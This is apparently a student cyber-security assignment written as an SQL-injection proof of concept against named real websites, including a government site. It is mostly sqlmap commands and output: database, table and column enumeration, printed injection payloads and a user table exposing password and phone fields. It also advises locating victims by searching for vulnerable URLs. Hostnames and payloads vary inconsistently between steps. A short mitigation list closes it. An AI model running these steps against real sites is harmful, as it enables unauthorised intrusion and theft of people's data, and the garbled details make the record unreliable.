

Assignment

Name- Neha Kumari

Enrollment no.-2205101130060

Division- E

SUBJECT- CYBER-SECURITY &
FORENSIC

COURSE- BCA

5.Name of Target:

<https://www.burobd.org/network-and-linkages.php?id=8>

POC: -

Level of Attack:

Level 3: - Database Access

By using sqlmap to identify the database type and list of databases. You've successfully bypassed the authentication mechanism and gained access to the underlying database. this is a significant vulnerability as it allows on attacker to access sensitive data, modify database records, and potentially execute arbitrary SQL commands .

Steps: -

1. Open your preferred web browser (I'm using firefox). Navigate to www.google.com (Search detail.php?id=1).
2. We can proceed to test them for SQL injection using a tool called sqlmap. \$ Sudo apt install sqlmap.
3. Once the installation is complete, run the following command to find SQL injection vulnerabilities using sqlmap:
4. \$ SQL map -u "URL" -dbs

```
kali@kali:~$ sudo apt install sqlmap
[10:58:56] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/www.mudp.gov.bd'
[*] ending @ 10:58:56 /2024-07-12/

kali@kali:~$ sqlmap -u "https://www.burbbd.org/network-and-linkages.php?id=8" --dbs
[10:59:07] [WARNING] GET parameter 'id' does not appear to be dynamic
[10:59:08] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[10:59:09] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[10:59:09] [INFO] testing for SQL injection on GET parameter 'id'
[10:59:09] [INFO] it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[10:59:10] [INFO] for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[10:59:10] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:59:10] [WARNING] reflective value(s) found and filtering out
[10:59:11] [INFO] testing 'Generic inline queries'
[10:59:11] [INFO] testing 'Generic inline queries'
[10:59:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[10:59:12] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[10:59:13] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
[10:59:13] [INFO] GET parameter 'id' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)' injectable (with --not-strings="it")
[10:59:14] [INFO] testing 'MySQL > 5.5 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[10:59:14] [INFO] testing 'MySQL > 5.5 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[10:59:15] [INFO] testing 'MySQL > 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[10:59:15] [INFO] testing 'MySQL > 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[10:59:16] [INFO] testing 'MySQL > 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[10:59:16] [INFO] testing 'MySQL > 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[10:59:17] [INFO] testing 'MySQL > 5.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[10:59:17] [INFO] testing 'MySQL > 5.8 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[10:59:18] [INFO] GET parameter 'id' is 'MySQL > 5.8 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[10:59:18] [INFO] testing 'MySQL inline queries'
[10:59:19] [INFO] testing 'MySQL > 5.8.12 stacked queries (comment)'
[10:59:19] [INFO] testing 'MySQL > 5.8.12 stacked queries'
[10:59:20] [INFO] testing 'MySQL > 5.8.12 stacked queries (query sleep - comment)'
[10:59:20] [INFO] testing 'MySQL > 5.8.12 stacked queries (query sleep)'
[10:59:21] [INFO] testing 'MySQL < 5.8.12 stacked queries (BENCHMARK - comment)'
[10:59:21] [INFO] testing 'MySQL < 5.8.12 stacked queries (BENCHMARK - comment)'
```

5. To find the number of tables in a specific database, use the command: \$ SQL map -u "URL" -D <Database name> --tables

```
kali@kali:~$ sqlmap -u https://www.mudp.gov.bd/photo-gallery.php?id=18' -D mudpgov_meherpur --tables
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.
[*] starting @ 10:57:59 /2024-07-12/
[10:57:59] [INFO] resuming back-end DBMS 'mysql'
[10:58:04] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored sessions:
--
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: 10=18 AND 4450=4450

Type: error-based
Title: MySQL > 3.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: 10=18 AND (SELECT 6384 FROM(SELECT COUNT(*),CONCAT(0x71786a6a71,(SELECT (ELT(6384=6384,1)))0x7162626b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)x)

Type: time-based blind
Title: MySQL > 5.0.12 AND time-based blind (query SLEEP)
Payload: 10=18 AND (SELECT 7429 FROM (SELECT(SLEEP(5)))fj56e)

Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: 10=18 UNION All SELECT NULL,NULL,NULL,NULL,CONCAT(0x71786a6a71,0x5a4b6d726a557662724f59736271a2796f7573596b445a57576d5249625664496574794b67786d4f,0x7162626b71)--

[10:58:05] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL > 5.0 (MariaDB fork)
[10:58:05] [INFO] fetching tables for database: 'mudpgov_meherpur'
Database: mudpgov_meherpur
[5 tables]
+-----+
| tbl_faq |
| tbl_problem |
| tbl_order |
| tbl_order |
| tbl_user |
+-----+

[10:58:08] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/www.mudp.gov.bd'
[*] ending @ 10:58:08 /2024-07-12/
kali@kali:~$
```

8.To find the number of tables in a specific database, use the command: \$ SQL map -u “URL” -D <Database name> -COLUMNS

```
kali@kali:~$ sqlmap -u https://www.mudgov.gov.bd/photo-gallery.php?id=10 -D mudgov_meherpur -T tbl_user --columns
```

(1.8.6.38dev)
https://sqlmap.org

[*] ending @ 10:58:05 /2024-07-12/

[*] starting @ 10:58:08 /2024-07-12/

[10:58:08] [INFO] resuming back-end DBMS 'mysql'

[10:58:22] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

Parameter: id (GET)

Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=10 AND 4450=4450

Type: error-based
Title: MySQL > 3.2.3 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=10 AND (SELECT 6384 FROM(SELECT COUNT(*),CONCAT(0x71786a71,(SELECT (ELT(6384=6384,1))),0x7162626b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

Type: time-based blind
Title: MySQL > 5.0.12 AND time-based blind (query SLEEP)
Payload: id=10 AND (SELECT 7429 FROM (SELECT(SLEEP(5)))fj06)

Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: id=10 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71786a71,0x5a5b6d726a557662724f59736271x796f7573596b445a57576d524962566449657a794b67786d4f,0x7162626b71)--

[10:58:54] [INFO] the back-end DBMS is MySQL

web application technology: Apache

back-end DBMS: MySQL > 5.0 (MariaDB fork)

[10:58:54] [INFO] fetching columns for table 'tbl_user' in database 'mudgov_meherpur'

Database: mudgov_meherpur

Table: tbl_user

5 columns

Column	Type
FullName	varchar(255)
ID	int(11)
MobileNo	int(11)
Password	varchar(255)

[10:58:56] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/www.mudgov.gov.bd'

Use prepared Statements & parameterized queries.

1. Input validation.
2. Use Stored procedures.
3. Limit Database privileges.
4. Web application firewall (WAF)
5. Error Handling.

➤ CONSEQUENCES OF SQL INJECTION ATTACKS: -

1. Data breach
2. Data Manipulation
3. Unauthorized Access
4. Website Defacement
5. Financial Loss
6. Service Disruption

➤ RECOMMENDED ACTIONS: -

1. Use the latest version of database & web technologies.
2. Sanitize Input.
3. Monitor & log Activities.